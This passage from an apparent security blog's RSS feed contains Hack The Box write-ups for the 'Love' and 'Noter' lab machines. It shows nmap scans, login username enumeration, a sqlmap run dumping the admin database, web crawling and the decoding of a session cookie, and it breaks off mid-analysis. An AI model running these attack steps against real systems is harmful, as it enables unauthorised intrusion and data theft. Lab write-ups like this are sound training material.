<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">7680/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  pando-pub</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">47001/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  winrm</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49664/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49665/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49666/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49667/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49668/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49669/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49670/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 110.16 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">137/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> netbios-ns</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">138/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> netbios-dgm</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">500/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> isakmp</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">1900/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> upnp</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">4500/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> nat-t-ike</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5353/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> zeroconf</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5355/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> llmnr</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">18605/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 1670.61 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>Web service</h3>
<h4>SQL Injection</h4>
<p>A web application with an admin interface was discovered :</p>
<figure><figcaption>webpage-admin</figcaption></figure>
<p>It is possible to valid the fact that a user exists or not under the login form of the page <code>admin</code>. The error message is different whether a user exist or not.
If it exists like with the user <code>admin</code>, the error message displayed is <code>Incorrect password</code>.</p>
<p>After capturing the POST request to login with <code>BURP</code>, <code>sqlmap</code> was used to test for SQL injections. An injection was found related to this form and the database was dumped.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; sqlmap -r request-login-admin.request --dump-all</span></span>
<span class="line"><span>        ___</span></span>
<span class="line"><span>       __H__</span></span>
<span class="line"><span> ___ ___[,]_____ ___ ___  {1.5.6#stable}</span></span>
<span class="line"><span>|_ -| . [,]     | .'| . |</span></span>
<span class="line"><span>|___|_  [)]_|_|_|__,|  _|</span></span>
<span class="line"><span>      |_|V...       |_|   http://sqlmap.org</span></span>
<span class="line"><span></span></span>
<span class="line"><span>[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program</span></span>
<span class="line"><span></span></span>
<span class="line"><span>[*] starting @ 07:22:28 /2021-06-18/</span></span>
<span class="line"><span></span></span>
<span class="line"><span>[07:22:28] [INFO] parsing HTTP request from 'request-login-admin.request'</span></span>
<span class="line"><span>[07:22:28] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly</span></span>
<span class="line"><span>[07:22:28] [INFO] resuming back-end DBMS 'mysql'</span></span>
<span class="line"><span>[07:22:28] [INFO] testing connection to the target URL</span></span>
<span class="line"><span>got a 302 redirect to 'http://love.htb:80/admin/index.php'. Do you want to follow? [Y/n] Y</span></span>
<span class="line"><span>redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y</span></span>
<span class="line"><span>sqlmap resumed the following injection point(s) from stored session:</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Noter</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Noter.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Noter.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Noter</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 20 Jun 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap --open -p- -sV -iL input_ips.txt -oA nmap_tcp_all</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Starting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Nmap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7.92</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ( </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">https://nmap.org</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ) at 2022-06-20 11:22 CEST</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scan</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.129.76.138</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (0.033s </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">latency</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shown:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 65532</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> closed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (conn-refused)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> VERSION</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">21/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ftp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     vsftpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3.0.3</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     OpenSSH</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 8.2p1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Ubuntu</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4ubuntu0.3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Ubuntu </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Linux</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">protocol</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5000/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    Werkzeug</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> httpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.0.2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Python </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3.8.10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Service</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Info:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> OSs:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Unix,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Linux</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">CPE:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cpe:/o:linux:linux_kernel</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Service</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> detection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> performed.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> any</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> incorrect</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> results</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> at</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> https://nmap.org/submit/</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 15.22 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>Enumeration of the Web service on 5000/TCP</h3>
<p>The Web service on the 5000/TCP port was visited and seems to be a note application.</p>
<figure><figcaption>web_home</figcaption></figure>
<p>Crawling the website revealed resources and pages :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> gop crawler -u http://10.129.76.138:5000</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Crawling from URL: http://10.129.76.138:5000</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[  ] [Crawler] [</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> / 4] [Finished]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Internal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> resources</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.129.76.138:5000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTP] [link] http://10.129.76.138:5000/notes</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTP] [link] http://10.129.76.138:5000/register</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTP] [link] http://10.129.76.138:5000/login</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> External</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> resources</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.129.76.138:5000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [style] https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [script] https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [script] https://cdn.ckeditor.com/4.6.2/basic/ckeditor.js</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Statistics</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> internal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> resources:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> links:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    3</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scripts:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> styles:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> images:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknowns:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> external</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> resources:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> links:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scripts:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  2</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> styles:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> images:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknowns:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Execution</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> time:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 18.252081283s</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It was possible for guests visiting the application to register a new account.
The account <code>admin</code> was created.</p>
<p>It is possible to add notes, to edit them and to update them.</p>
<h3>Cookie</h3>
<p>Once connected the following cookie is used : <code>eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YrBHVA.hI60VI2SDkUQOnxmrbw1T7tX50w</code>.
It looks like a JWT token. When base64 decoded the value is :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Headers</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  "logged_in"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> true</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">,</span></span>
